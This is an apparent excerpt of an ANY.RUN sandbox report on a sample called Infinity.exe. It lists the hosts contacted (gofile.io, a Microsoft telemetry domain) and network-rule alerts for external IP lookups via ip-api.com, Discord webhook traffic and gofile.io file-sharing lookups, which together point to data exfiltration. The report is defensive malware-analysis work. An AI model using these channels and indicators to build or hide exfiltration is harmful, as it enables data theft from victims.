store1.gofile.io
  • 45.112.123.227
whitelisted
self.events.data.microsoft.com
  • 20.189.173.18
whitelisted

Threats

PID
Process
Class
Message
2192
svchost.exe
Device Retrieving External IP Address Detected
INFO [ANY.RUN] External IP Check (ip-api .com)
2192
svchost.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com)
6500
Infinity.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup ip-api.com
2192
svchost.exe
Misc activity
ET INFO Observed Discord Domain in DNS Lookup (discord .com)
—
—
Misc activity
ET HUNTING Discord WebHook Activity M2 (Contains Key, embeds)
6500
Infinity.exe
Misc activity
ET INFO Observed Discord Domain (discord .com in TLS SNI)
6500
Infinity.exe
Misc activity
ET INFO Observed Discord Domain (discord .com in TLS SNI)
—
—
Misc activity
ET HUNTING Discord WebHook Activity M2 (Contains Key, embeds)
2192
svchost.exe
Potentially Bad Traffic
ET FILE_SHARING Online File Storage Domain in DNS Lookup (gofile .io)
6500
Infinity.exe
Misc activity
ET FILE_SHARING File Sharing Related Domain in TLS SNI (gofile .io)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Infinity.exe